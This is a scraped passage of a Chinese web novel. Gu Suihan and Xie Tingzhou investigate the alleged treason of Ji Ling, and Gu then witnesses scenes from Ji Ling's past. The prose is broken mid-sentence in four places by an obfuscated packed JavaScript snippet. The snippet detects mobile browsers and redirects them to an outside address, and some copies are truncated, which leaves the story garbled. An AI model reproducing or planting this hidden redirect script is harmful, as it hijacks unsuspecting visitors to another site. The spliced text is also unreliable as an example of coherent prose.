难不成这韩玉青也是个立身持正的勤俭君子? 门外的马车还停在原地,不过那马却是拉了一地粪蛋,可谓是臭气熏天。顾岁寒抽了抽嘴角,轻轻一挥手带起一阵清风,将那些粪球都推到墙根的草丛里去了。 这些天她忙着重新捡回手上的功夫,一些简单的法术也捡回来不少。有能力总是让人安心的,顾岁寒暗自满意,决定改天挑个人少的时机练练御剑试试。她曾见宋安澜使出来过,堪称动若雷霆,十分迅疾,看得她也心生向往。 什么时候才能恢复到失去记忆前的样子呢,她有些发愁。每每看蒋奚用一种看偶像一样的眼神看着自己,说她之前如何如何英明神武,她都感到一阵心里发虚——她觉得自己并没有蒋奚以为的那样无所不能。 记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195756|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆的缺失在她的心底开了一个巨大的口子。有时她觉得这世上的一切都是一个为她编撰的话本,知情-人们看着她一个无知的局外人在里面茫茫然地盘旋。 她沿着尚书府的墙根慢慢走,很快就走到了姬漓住的院子的后墙。她回头估计了一下从尚书府正门到这里的位置,发现这韩府恐怕也没有叠加如今京中时兴的那些空间阵法。 真是一个奇怪的府邸。充满传言的男女主人之间的关系、空空荡荡的府邸、总在更换的花朵……处处透着奇异的气息。 正想着,正门口那里传来一阵响动。顾岁寒看过去,发现是谢停舟出来了。谢停舟看见她,似乎也松了口气:“府中没见到执棋,在下还以为出什么事了呢。” “怎么会。”顾岁寒朝他走了过去。这次谢停舟走到马车边倒是知道等她先上车了,小八殷勤地把车梯架好,顾岁寒上了车,坐在了来时的位置上,谢停舟紧随其后,一阵幽幽的松木香随即充满了车厢。 “好香。”顾岁寒随口说道。闻言,谢停舟闻了闻自己的袖口:“应当是韩尚书书房中焚的香,味道确实比较浓郁。” 顾岁寒诧异地挑起半边眉毛:“好独特的品味,我以为当今士族都会喜欢淡雅一些的气息。” 谢停舟摇摇头:“在下许久不在京中,也不太清楚。不过据在下所知,韩尚书府中燃的这种香叫‘贪欢’,早些年曾经在京中流行过,不过后来那制香的匠人因故返乡,这香在京中也就渐渐绝迹了。在下今日还特意问了韩尚书一嘴,韩尚书说这香是姬漓公主按旧香方自己试着调的。” “公主既然愿意费心给尚书调香,那夫妻关系应当不错啊。那之前闹得沸沸扬扬的尚书苛待公主一事到底又是怎么传出的呢?” “这是公主家中私事,在下也没多问。”谢停舟看起来有些为难,“不过阿泠一案,在下倒是问了不少。” 顾岁寒坐直身子,以示洗耳恭听。但谢停舟神色几番变幻,都没吐-出半个字来,最后只是泄气道:“这韩玉青……狡诈如狐,不好相与。” 顾岁寒皱眉:“何出此言呢?” “我从当初他弹劾阿泠一事入手,问他明明早数日便拿到了所谓证据,为何压到北军压境才检举。”谢停舟有些恨恨地咬着自己的下嘴唇,“但他说他觉得这信来路蹊跷,而且阿泠多年清名,他也不相信此信出自阿泠之手,直到最后东窗事发,他觉得宁可错杀也不能放过,才将信拿出来公之于众。” “很合理的理由啊。”顾岁寒点点头,“有什么问题呢?” “对,就是因为没有问题才……才……”谢停舟几乎是咬牙切齿了,“我又问了他几个旁的问题,他都答得滴水不漏。最可恨的是,我告辞离开的时候,他同我说,说……” 他模仿着韩玉青彬彬有礼的语气:“将军作为姬氏的未亡人,偏心姬氏无可厚非,在下无权置噱。但是在下也想提醒将军,当初在下检举姬氏时,只是抱着只怕万一之心,将姬氏扣于宫中,可姬氏后来却私自逃离,畏罪自戕,哪怕自戕之前有所谓鸣冤之辞,也是宋将军一面之词,不可尽信。谢将军查案之时,可千万要多加小心,可别真把姬氏一案坐实,把自己卷进去才好。” 谢停舟没有说的是,当时他听完韩玉青的话,气得从侧首太师椅上拍案而起,却看见韩玉青逆光站在主位之上,仿佛早料到他会发怒似的,微微笑道:“谢将军用情至深,在下感佩。之前在下私以为,姬氏无甚功绩,将军在西南边陲却是立功累累,想来二位婚约不日便会解除,没想到并非如此。将军平日文质彬彬,为了姬氏居然也会有如此感性一面。” “在下奉劝一句,姬氏仗着父兄功绩,多有尸位素餐之举,将军若是爱护羽毛,那姬氏绝非良配。” 8. 第七章 唐多令 一 顾岁寒若有所思:“按这韩玉青的意思,他倒是很笃定姬泠一定有罪。” “绝对不可能。”谢停舟坚持道,“阿泠真的没有理由这么做,她父母是大盛忠烈,她自小在边境长大,后来入了落棋阁也一直在为国效力,完全没有叛国的动机。退一步讲,哪怕她真的因为某些连我和宋将军都不知道的原因叛国,她也完全没有理由把通敌的信件带回京中的公主府。她执掌着落棋阁青州的分舵,那一片的情报网几乎全在她手中,反倒是南都附近的不太受她掌控,她没有必要冒这个险。” 虽然谢停舟这个人显然是关心则乱,但是说的话大抵还是有道理的。还是那封信。只要能证明信上的问题,那么姬泠叛国一事可谓是迎刃而解了。 顾岁寒斟酌了一下,把姬漓说的生日宴那天的事挑挑拣拣和谢停舟说了。当然,删减了姬漓主观怀疑谢停舟的那一部分。 谢停舟听完也是皱起了眉头,顾岁寒发现这人眉间已经有了一点川字纹的苗头,可见平时恐怕时常多虑多思。似乎是回忆了许久,谢停舟才犹疑着开口:“阿泠让我叫公主去书房确有其事,但是我不太记得具体的前因后果了。现在想来,我当时似乎下意识以为阿泠是叫公主去劝她与韩尚书和离的。” 没想到事情绕了一-大圈又回到了公主与韩玉青的感情问题上。顾岁寒有些茫然:“啊?” “对,”谢停舟不知想起了什么,表情笃定了起来,“那天阿泠和灼烨两人同过二十九周岁的生辰,我们几人都很开心,关上门在阿泠府上热闹了很久。上午晚些时候,公主和韩玉青过来了,但当时韩尚书表情并不好看。进门的时候,公主还陪着笑说了一句‘哎呀,没想到生辰宴已经开始这么久了,怎么都没人叫小妹’。” 谢停舟的回忆中,当时作为宅邸主人的姬泠听到了这句话,很是诧异地看向了宋安澜,脱口而出:“安澜,你没跟阿漓说吗?” 宋安澜看上去更吃惊:“不对啊,我把请柬递到尚书府上了……” 一句话说到最后,她仿佛意识到了什么,目光移向了面色不虞的韩玉青,声音渐渐低了下去。原本还不明所以的姬泠听到“尚书府”三字,哪怕再迟钝也明白了是韩玉青截下了消息,脸色不由得沉了下去。 她素来偏袒自己这个妹妹,当场就要发作。姬昀见势不妙,压低声音喊她:“檐雨!” 檐雨是姬泠的表字,平时很少被喊,一喊就指定是正经事。姬泠也知道韩玉青是朝中年轻文臣的首脑,现在发作未来朝中不好收场,只好压下脾气,咬着牙说:“是我疏忽了。阿漓,快来这边坐,今天没有外人,咱们好好说说话。” 姬漓看了一眼韩玉青,有些犹疑地走了过来。走到近前时,姬泠伸手一把抓住了她,让人坐到了她与宋安澜中间。 姬漓端庄惯了,身上各色珠钗有不下两斤,被姬泠这么没轻没重地一拉顿时惊呼一声,整个人稀里哗啦地掉了下来。姬泠也不嫌她身上那些劳什子硌手,将人半搂半靠地抱在了怀里:“今天特意准备了你喜欢的乳酪,你尝尝看?不过我感觉不是很甜,不知道你觉得怎么样。” 姬漓依言拿过羹勺尝了一口:“唔……好吃。” 姬泠不轻不重地在她后背打了一下:“就会说好吃。” 姬漓弯起眼睛,咯咯笑了。远处的韩玉青看着这姐妹和乐的一幕,面色愈发差了。姬昀用眼神支使了谢停舟一眼,让他去招待好韩玉青。 吃完了那碗乳酪,姬漓就推脱了姬泠回到了韩玉青身边。姬泠虽然想留,但还是摸不清自己的妹妹的心意,最终没有阻拦。 韩玉青看到妻子回来,脸色好了不少。两人席间拉着手互相依偎,似乎也十分甜蜜。谢停舟看得有点羡慕,不过侧头看了姬泠一眼,发现她似乎在心不在焉地走神,一副食不知味的样子,最终也没有出声打扰。 直到席间姬漓以多饮为由告退时,姬泠才如梦方醒似的,喊了他一声:“阿辞。” 谢停舟单名一个辞字,但是他起字早,所以名很小时就不用了,现在也只有姬泠会这样喊他。她喊他时咬字轻轻的,两个很清脆的音仿佛在嘴里轻轻碰撞了一下似的,听得谢停舟从尾椎骨麻到后脖颈。他连忙应道:“我在。什么事?” 接下来的故事就是顾岁寒从姬漓那里听来的版本了。顾岁寒问:“所以当时姬泠确实去书房等姬漓了吗?” “我不知道。”谢停舟迷茫地摇头,“我只知道后来她离席了,但是那时我被姬将军叫走了,所以不知道她具体去哪了。” “她为什么要让你帮她传话?”顾岁寒不解,“那时候她有什么走不开的事吗?” “应该……没有吧。”时间太久了,谢停舟的记忆也出现了偏差,“当时阿泠应该是在喝酒的。” 既然没有什么事,那么为什么要让谢停舟代为传话呢?如果真的有事要聊,那么为什么最后又没有去书房,而是让独自一人的姬漓发现了那些通敌的信件…… 刹那间,顾岁寒忽然灵光一现:“等等,有没有可能,姬泠是故意让姬漓发现那些信的!” “你想想看,”顾岁寒双眼放光,“那些信出现得蹊跷,而且有姬泠自己的私印。姬泠作为黑棋,基本的警觉应该都是不差的,一般人很难拿到她随身带的印。那么,会不会那些信就是姬泠故意伪造、放在那处,让姬漓发现的?” 谢停舟皱眉听罢,却不是很赞同:“或许执棋说得有几分道理,可阿泠为什么要让公主发现这些信?假设阿泠怀疑公主或者韩玉青的清白,大可以用别的方法试探,那些信上可是明明白白地写着落棋阁的地址和潜入方法的,假若公主家中真有猫腻,姬泠不怕他二人看到后机密当真泄露吗?” 确实,此言不假。顾岁寒渐渐冷静了下来,从头开始梳理这生辰宴的事,却是越理越乱,毫无头绪。顾岁寒有点丧气道:“要是有能和亡者交流的方法就好了,直接找姬泠问问一切不就迎刃而解了吗。” 紧接着她又自己推翻了自己:“不对,她自己恐怕也不知道。不然她被软禁宫中那会早就喊冤了,也不至于跑大老远自戕证清白啊。” 这话恐怕说得有点不尊重亡者,谢停舟的脸有点发绿,不过还是接道:“有的。” 姬泠一时没反应过来:“什么有的?” “有和亡者对话的方法,用招阴符即可,不算困难。”谢停舟不知从哪取出了一张递给她看,一边嘴上继续说,“但是阿泠新死时我试过了,不行。招阴符的原理是循着生者气息寻魂,但是青州当时刚刚停战,未消散的亡魂太多,我找不到。” “但是我找回了另一样东西。” 谢停舟从衣襟上方伸手进去,掏出了一个小小的琉璃瓶,瓶子里有两团小小的火苗似的光源,互相缠绕在一起,微微跳动着。瓶身上刻满了密密麻麻的符咒,光就从符咒间透出来,折射出璀璨的光辉。 那瓶口绑了一根细细的银链,项链似的挂在谢停舟脖子上。他将瓶子拿给她看,顾岁寒小心翼翼地将瓶子捧在手中,感觉瓶子上仿佛有冰似的,冷到了人心里:“这是?” “订婚时,我和阿泠各自分出了自己魂魄的一部分,放在对方身上。”见顾岁寒看清了,他就将瓶子小心翼翼地收了回去,妥帖地放在了心口,“这样一方去世时,携带的另一方的魂魄就会回到原主人身上。我和阿泠分隔两地,中间有大结界相隔,固然可以用符咒传书,但总归不甚方便。” “有了这一小片魂魄,我们中有一人殉国时,另一方也会知道。” 所以,召不回亡魂的他,在千里迢迢之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这卷上的内容似乎是将一些旧书上的名句摘了下来,要这群小少年讲自己的理解。这小姑娘的学业看起来做得不错,卷上的题都答了七七八八,答的内容也颇有见地,只有一句话叫她踌躇半晌。顾岁寒定睛看去,发现那是《诗》上的四句:“山有扶苏,隰有荷华。鸳鸯于飞,毕之罗之。” 这四句都是《诗》上的没错,可前后两句是一首里的吗……顾岁寒对自己的记忆力产生了怀疑,这小姑娘似乎也陷入的同样的困境中。她抓着笔杆半天不敢下笔,那香却是越烧越短。直到最后她终于有些坐不住了,轻轻捅了一下旁边同样坐立不安的一个小男孩:“喂,喂,谢辞?你做完了吗?五题那两句《诗》,该当何解?” 谢辞这个名字莫名耳熟。那男生不知是不会还是怎得,闹了个大红脸:“我、我也不知道啊……” 结结巴巴地还没说完,一个一直在学堂里笑闹的高个姑娘不知什么时候凑了过来,鬼鬼祟祟道:“这两句还不简单!《诗》讲比兴,这两句前面以景起兴,后面又是鸳鸯又是这‘之’那‘之’,什么‘子之于归’的,肯定是说男女两情相悦啦!姬泠你个呆子,这也要问!” 这句话不知戳中了谢辞的哪桩心事,脸愈发红得滴血;这厢顾岁寒听见小姑娘的名字,如遭雷劈般怔在原地。 这是姬泠!那这里的孩子们…… 刚刚没留心,如今细细看去,才发现此处好几个少年都已经隐隐有了长大之后的故人模样——刚刚那皮猴似的姑娘是宋安澜,另一个和她五官相似的小少年恐怕是她弟弟、当今的圣上宋礼;坐没坐相的是姬昀;大红脸男孩是谢停舟;而刚刚那个送卷子来的少年—— 顾岁寒艰难地回忆了一下擦肩而过时看到的侧脸,发现那恐怕就是年少时的她自己! 等等,自己小时候脸这么臭吗! 9. 第八章 唐多令 二 貌似回到了过去的顾岁寒一点也不着急,反而饶有兴致地观察起周围来;另一边,小小的学堂里依然是一番鸡飞狗跳。小姬泠啃着笔尾巴,显然还在忧愁那句诗应该怎么解。可还没等她忧愁出个章程,那柱香烧到了底,最后一点香灰“咔嚓”落尽了炉里。 一炷香时间到了。 小时候的顾岁寒跟身上有个小钟似的精准踩点去而复返,板着脸收走了皮猴们的卷子。收到姬泠的卷子时,她瞟了一眼卷上的一片空白,很明显地皱了一下眉头。 小姬泠一直缩着脖子悄悄看她,见她皱眉,顿时瘪了瘪嘴,肉眼可见地坐立不安了起来。但顾岁寒看了看卷子,最后什么也没说,收齐之后数了数,就头也不回地走了。 顾岁寒对小时候的自己实在是太好奇了,于是扔下了一屋子小兔崽子们就跟了上去。不得不说她自己小小年纪看上去就已经一把年纪了,明明看上去比屋里那帮进化未完全的小闯祸精大出去没多少,整个人的气质却已经很像个大人了。 正当她跟在后面对自己“成熟”的背影评头论足时,忽然一阵和她方才很是相似的眩晕袭来,顾岁寒再一次失去了意识。等她感觉双脚落地踩到实处时,周围依然换了一方天地。 甫一落地,她就被朔风糊了一脸,感觉面皮都要被这刮骨的寒风吹走了。白毛雪撒盐似的劈头盖脸地砸了下来,四处都是白茫茫一片。还没等她看清周围的景象,一个穿戴轻甲的年轻姑娘就急匆匆地走了过来,径直穿过了懵懂的顾岁寒。 顾岁寒顺着她留在雪地上的脚印跟上她,就见她撩开了一处营帐门口的挂毯径直进去了。营帐门口值守的亲卫显然习以为常,连目光都没有斜一下。 顾岁寒已经习惯了这种游魂般的生活,并获得了新的意趣——她在两个亲卫面前转了一圈,做了个大大的鬼脸,享受了一把如入无人之境的快乐,然后学着那姑娘的动作大摇大摆地穿墙进了帐。 谁知她刚进帐,就看见了惊悚一幕——刚刚进来的年轻女子将手伸到自己耳根斜下方,摸索了一番后竟是生生将自己脸上那张十分英气的面孔“撕”了下来! 好在顾岁寒也不是没见过世面的人,很快就意识到了这是所谓的“人皮面具”,学做这个是黑白棋都必须要学的手艺之一。但印象中顾岁寒也是第一次见到做得这样逼真的,阁中很多长于此道的棋子用人皮面具时都不太敢露出自己的耳后,因为那里是面具与真皮的连接处,但凡有懂的人细看就很容易露出马脚。 但是这个姑娘——顾岁寒仗着别人看不见自己,围着她转了一圈,啧啧称奇——刚刚她是扎了个高马尾的,耳朵脖子的皮肤都暴露在外,但顾岁寒错身而过时完全没有注意到这人没有用真脸。 面具下的人相比自己英丽的假面长得就平凡多了,属于那种长得很“平均”的姑娘,不美不丑、不胖不瘦,长得固然很顺眼,但是路上擦肩而过都不会多留心的那种。 如果非要说她有什么特色的话,那就是她的眉毛。 不同于她偏向平和温婉的其他五官,她的眉毛极长,可谓是斜飞入鬓;形状上有点像剑眉,却又比剑眉细不少,像两柄苗刀镶在她脸上,为她增添了不少锐意之色。 顾岁寒被她的眉毛吸引了目光,不由得看入了神,越看越觉得这眉毛熟悉,不知道在哪里见过。 这姑娘摘了面具之后似乎整个人都自在了不少,在大帐里环视了一圈,看上了放在边角的一件脏兮兮的袍子,十分不讲究地整个人摔了上去。 姑娘似乎是累极了,脑袋刚沾上地,呼吸就慢慢长而均匀起来,期间有好几批人来帐外找人,都被外面的亲卫挡了回去。正当顾岁寒思考自己要不要出去看看别处时,那帐帘却忽然大敞开来,一个穿着骑兵甲的壮实女人裹着寒气走了进来,正是宋安澜! 看到宋安澜的瞬间,顾岁寒忽然有了不详的预感。她的目光缓缓地、僵硬地移向了躺在地上的姬泠,下一秒,她就听见宋安澜说出了她最不想听到的那个答案。 她喊:“姬——二——水!姬泠!从我的大氅上起开!” 不是吧,这真是姬泠? 顾岁寒感觉自己的自信心咔嚓一声裂开了。 平心而论,她对自己认人脸的能力还是相当有把握的。但她前脚刚见过人小时候,后脚就认不出同一个人长大之后了! 她目瞪口呆,努力回忆刚刚见过的那个小姑娘,试图找到证据证明这俩人确实不是同一人,然后她失败了——细细想来,面前这姑娘和小姬泠五官确确实实有相似之处,这俩人千真万确就是一个人! 她没忍住怀疑:“当初张首晟就是因为这张脸才招她进的白棋吧,做卧底简直得天独厚啊,被卧底的底-裤颜色都被人知道了,都不见得想起来人长什么样吧!” 听见人叫,躺地上的姬泠睁开了眼,手还在揉眼睛,人就已经站起来了:“抱歉,这两天昼夜不分,实在是太困了。” 宋安澜看起来也很疲惫,整个人脸色青灰,眼睛里也没什么神采。她见人醒了,有气无力地挥了挥手,拖着步子把自己摔到了主位上:“没事,跟我还报什么歉——说正事,二水,有什么新消息吗?” 姬泠摇了摇头,走到宋安澜身边,展开了她桌上的舆图,修长的手指点过了上面的几个地方:“我估摸着酿姐的脚程,派人找了这几个地方,自己也都去过了,没消息。再往里走就是归雁台管得严的地盘了,附近有个归雁台的分舵,据说姓沈的这两天在,我不敢冒进,就领着人先撤回来了。” “沈和正?雁主这两天为什么会在?”宋安澜和姬泠对视一眼,均在彼此眼中看到了隐隐的不安。 姬泠轻声说:“……会不会,我只是一个猜测,会不会酿姐去了他们那边?” 宋安澜像是被这可怕的猜测吓到了,猛地站了起来在帐里转了一圈:“……不可能,只是因为萧凌飞?酿姐不是这样的人,你不要用这么草率的猜测污蔑她。” 姬泠解释:“我也只是猜测……”话音未落就被宋安澜打断了,她疾言厉色道:“连猜测都不允许!姬檐雨,你知道你在说什么吗!那可是我朝开国第一功臣,污蔑功臣是要判罪的!” 姬泠咬住了下-唇,轻声咕哝了两句,但是在场的两个——算上堪称偷听的顾岁寒——都没听清她说的话。但从她俩的对话中,原本一头雾水的顾岁寒渐渐明白了这是哪一件事。 旧历十八年,当时的镇北军——那时还叫北安军的主帅宋酿突然失踪,当时的副将宋安澜即刻封-锁了消息,可北周还是想闻到了生肉的狼一样捕捉到了北安军中的不安氛围,直扑而来。 北安军措手不及,损失惨重,宋安澜临危受命,带着一支小队在北邙山下埋伏多日,袭击了当时北周军的主帅邓飞英和数名精锐,致使北周军大乱,这才让北安军获得喘息之机。 但就顾岁寒四处漏风的记忆和她苏醒后蒋奚给她讲的一些本朝旧事来说,民间对这场不算光荣的战争也是众说纷纭。其中讨论得最热烈的便是宋酿到底是怎么莫名失踪的。 宋酿其人,现在很多人提起来都会说她是古往今来第一女战神——她是先帝的第一个孩子,前朝摇摇欲坠时,先帝为挽大厦将倾,四处征战,当时年纪还小的宋酿就跟着自己的父亲在军帐中长大。成年之后,宋酿逐渐展露自己的军事天赋,开始领兵征战,百战未尝败绩,到最后甚至成为了一方主帅。 可以说,先帝之所以能守下南半江山,有一半自己大女儿的功劳。 也正是因为有宋酿军功在身,本朝军中女官甚多,但大多是祖荫在前,少有庶民。但这已经是军中巨大的改变,宋安澜和姬泠便是这改变的一部分参与者。 但不论如何,朝中民间对女子从军一事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋安澜听说这种流言之后当场掀了桌子,要追查传谣的人——当然,最后没能找到。倒是落棋阁有个分舵的白棋在宋酿失踪当晚见到了疑似宋酿的身影,姬泠顺着这条线索追查了一番,却是连宋酿的头发丝都没找到。还没等宋酿找回来,北安军就以皇子被杀为由,悍然发兵。 看来她所见到的,正是当时宋安澜和姬泠两人寻找宋酿的场景了。 训斥姬泠的话刚一出口,宋安澜就意识到自己话说重了,连忙找补:“抱歉,阿泠,我是这两天太急了……说起来我一直没问你呢,你失踪那段时间去哪了?是不是有什么有关阿姐的事没来得及和我说?” 姬泠却是很明显不愿意多说,摇了摇头,含混地说:“没什么,不是什么很重要的事。你这两天斥候派得勤一点吧,我总担心要出事。我先回阁里了,看看还有没有什么酿姐的线索。” 说罢也没等宋安澜答应,她闷头掀了帘子出去了,宋安澜“哎”了一声想伸手挽留,最后还是悻悻地放下了手。 顾岁寒跟在姬泠后面,看她往城门的方向走。外面的雪停了,风还是很大,北风卷着雪粒掀起一阵阵白纱帐似的旋风。顾岁寒越走越觉得此处城墙眼熟,仔细想想,这里居然就是青州,传闻中姬泠自戕的地方。 原来她魂飞魄散的地方,就是她一直镇守的城池。 走着走着,顾岁寒忽然觉得姬泠不太对劲,佩了肩甲的双肩一阵一阵地抖。加快脚步绕过去一看,才发现她居然哭了。 只是这姑娘哭也没什么声息,连倒气都不怎么倒,只是豆大的泪珠一颗接着一颗的掉。不知为何,看着她掉眼泪,顾岁寒感觉自己也有了同感似的,心里一阵接着一阵的,像有小虫的伶仃脚爪在挠似的难过。 就在这难言的难过中,顾岁寒晕倒后第一次产生了这个疑问:她是为什么回到了过去的时空中,见证了这些故事呢? 10. 第九章 唐多令 三 这自然不可能是她自己的记忆——从刚刚姬泠进帐到现在为止,整个场景中从未出现过第三个人。也就是说,这件事发生的时候她不可能在现场。而且她也没有附身在任何一个人身上,说明她也不是借了别人的视角来观察这场故事。 顾岁寒百思不得其解,眼瞅着姬泠要进城,只好先放下了疑问,转而一心一意跟着姬泠,看她下一步动作。 姬泠进城门之前就又把面具带了回去。可能是天气酷寒,青州城的大街上没什么人,显得有些冷清。她目标明确地走向了一处铁匠铺,扯着嗓子问那守铺子的老头:“喂!钟叔!我上次订的那把长刀怎么样了?” 钟叔抬头见是她,眉开眼笑,老迈而干瘦的脸褶皱了起来,叫人几乎分辨不出他的五官到底在何处:“哟!是您!长刀马上就好了呀,您要是不急的话进来看看?” 姬泠点了点头,两人就走进了铺子后面的屋里。顾岁寒连忙跟上,正在心里纳罕这姬泠不慌不忙地来逛铺子干什么,下一脚就跟着这俩人被“吸”进了房门。等她从再度站稳脚跟,就发现自己到了一处小院中。 原来刚刚那个铁匠铺子是一处缩地千里阵的“阵头”,一开那门,人就会被送到这处院中。一进院子,那老头顿时腰也不弯了、气也不虚了,那张老态龙钟的嘴里发出了青春正茂的声音:“侍棋,我们的棋又冒险往远‘下’了一些,但还是没找到宋帅的踪迹。” 原来这时候姬泠就已经是侍棋了。顾岁寒快走了两步跟上他俩,仗着别人看不见自己几乎是贴在人嘴边偷听。就见姬泠疲惫地点了点头示意自己知道了,又摇了摇头:“让大家先撤回来吧,再查也没什么意义了。” 那“老头”察言观色,接嘴道:“侍棋的意思是……对了,侍棋,要换药吗?” “换。”姬泠言简意赅,“昨晚我就感觉伤好像又裂开了,真是的……不让你们再往远探是因为我觉得这事不太对,而且恐怕很快就要开战了,先把网都收回来吧。先去药寮。” 姬泠脚下一转,那“老头”下意识想跟,姬泠走了两步就停了下来,似笑非笑地看着他:“我换药你跟过来干什么?怎么,心疼你侍棋我?” 那“老头”的脸“蹭”的一下红了——顾岁寒也很吃惊这树皮似的老脸居然能体现“脸红”这个概念——他健步如飞地跑远了,一边跑一边喊:“我我我,我去给您找别人!您别急!” 姬泠站在原地看着那落荒而逃的干瘪背影,不由得失笑似的摇了摇头,转头走了。顾岁寒跟在她后面进了一处小屋。刚一进门,姬泠就脚下脱力似的晃了两步,顾岁寒下意识想去扶,结果双手却穿过了姬泠的身体,这才想起来自己是个什么都碰不到的透明人。 好在姬泠晃了两步之后就站住了,扶着柜子缓缓坐到了另一边的榻上,长长出了一口气。下一瞬,她就突然开始宽衣解带起来,顾岁寒下意识想回避,脚下一动却又生生刹住了。 “不对啊,”她心说,“我和姬泠都是女的,我回避个什么?” 这样想着,她就又心安理得地看起了姬泠宽衣。但那厢姬泠的衣服脱得并不顺利,尤其是脱到中衣时,她的表情都微微扭曲了一下。下一刻,她的侧脸微微绷紧,似乎是咬紧了牙一用力,那衣服便发出了黏腻的撕裂声,成功被她脱了下来! 听到声音的时候顾岁寒就汗毛一炸。姬泠的中衣里绑了束胸,正面看不出来有什么伤口,只能看见她流畅的肌肉纹理。顾岁寒就绕到了她背面,这一看不打紧,饶是她并不怕伤口、鲜血之类,也被狠狠一惊。 姬泠的背上有纵横交错好几道伤口,表面贴的几道止血祛味的符咒都已经被血浸-湿,很明显已经失去了它们原本的功用。 伤口看形状应该是鞭子一类的软物伤到的。其实这几道伤口都不算大,但是都已经有了发炎化脓的趋势,这才看上去触目惊心。顾岁寒正暗暗心惊,一个半大姑娘就掀帘进了屋,看打扮应该是个白棋。她看到姬泠光着上半身也是吓了一跳,连忙回身把帘子压好,这才急匆匆地走过来:“侍棋?怎么这么急着就把衣服脱了?” “伤口开了,衣服压得难受。”姬泠尽量简短地说,手背过去点了点自己,“我感觉我不大好,你赶紧帮忙换个药。” 那姑娘顺着她的手转了过去,站到了虚空中的顾岁寒旁边,也是被吓得“哎呦”了一声:“侍棋,你怎么……哎呀,您是不是把衣服硬脱下来了?这衣服之前都粘伤口上了呀,硬撕会把本来好了的地方撕裂的!” 姬泠微微闭着眼,整个人都压-在了面前的小几上,闻言哀叫:“我知道的,算我求你了周姐姐,帮我先把药上了吧,真的冷。” 周姑娘看上去很想再多唠叨两句,但最后还是忍住了,只咕咕哝哝“知道还不多珍惜自己身体”,任劳任怨地坐下来给人上药,一边上药一边嘴上还不闲着:“我说侍棋,宋帅那么对你,你为什么还要帮宋小将军找她?干脆糊弄糊弄了事得了,这两天四处跑,伤口都好不了。” 听到“宋帅”两字,姬泠从鼻子里轻轻地哼笑了一声,说不上是悲是嘲:“是啊,我被她关起来用私刑的时候,我也不知道怎么办才好了。” 在场的两人说话时都云淡风轻的,在场围观的顾岁寒却是瞪大了眼。 姬泠背上的伤,难道说是宋酿下的手! 可是,她俩往日无冤近日无仇的,为什么要下此毒手? 过去的时空中,这俩人不知道顾岁寒心中的惊涛骇浪,仍在旁若无人地聊天。周姑娘打抱不平:“之前您跟我们吩咐过,您不在的时候一切事务听从宋帅的指挥,所以您失踪那两天,我们还都以为您是被宋帅派去做什么重要之事了呢,结果,结果……” “这有什么好解释的,我都知道。”姬泠失笑。周姑娘没有接她的话,屋子里安静了下来,只有药刀刮在药罐上轻轻的摩-擦声。过了一会,药上好了,周姑娘回身过去找止血生肉的符咒,姬泠却忽然出声:“喂,我问你个事,你如实说就好……那个,当初我带着伤回阁里的时候,跟你们说是宋酿为了萧凌飞的事情报复我才动的手,你们……真的都信了吗?” 周姑娘回过身来,似乎很惊讶她会问出这样的问题:“听说的时候确实很震惊吧,但是为什么会不信呢?” “我……”姬泠似乎遇到了什么难以启齿的事,反复斟酌之后才开口,“宋酿……她积威在前,我以为你们都会相信她。” “怎么会,”周姑娘咯咯笑了起来,“侍棋,你最近两天怎么总在纠结这种事情。宋帅确实是我们心目中的英雄啊,可是那也离我们太遥远了吧,虽然她就驻军在城外,可我就远远看过她三两次。可您几乎与我们朝夕相处了,教导我们、陪伴我们的恩情我们都看在眼里,再怎么说我们都会更信任您呀。” 听到她这么说,姬泠似乎微微放下心来,但还是忧心忡忡地嘱托:“我跟你们说的宋帅的事,你们记得不要往外传啊,毕竟这件事在我心里也没有定论,万一这其中真有什么我误会宋帅的地方,传出去了对宋帅清誉有损就不好了。” 周姑娘找到了符咒,往她身上一拍,随后收拾好东西往外走:“我们都知道的,侍棋您就放心吧。” 周姑娘出去之后,姬泠在小几上又发了会呆,才去柜子里翻出新的中衣穿好,把外袍草草披上。至于那轻甲,她看了两眼,可能还是觉得压伤口,放在地上没穿。她拢着衣服下床,走到帘子旁边:“喂,周瑛……” 看样子,周瑛应该是那姑娘的大名。可后面的话还没出口,外面忽然传来了窃窃私语声,听声音应该是周瑛跟刚刚那个假大爷。姬泠猛得住了嘴,就听见那两人的声音隔着门帘清晰地传了过来。 那假大爷说:“喂,你说,宋帅那边到底是怎么回事?” 周瑛道:“谁知道呢,侍棋说大帅是因为北三皇子被杀一事才对她下的手,可是……北三皇子为什么想不开要对侍棋动手呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有人相信那位传奇的女将会因为一个敌国不受宠的质子而伤害自己的下属,背叛自己的国家,连这个下属自己都心怀质疑。 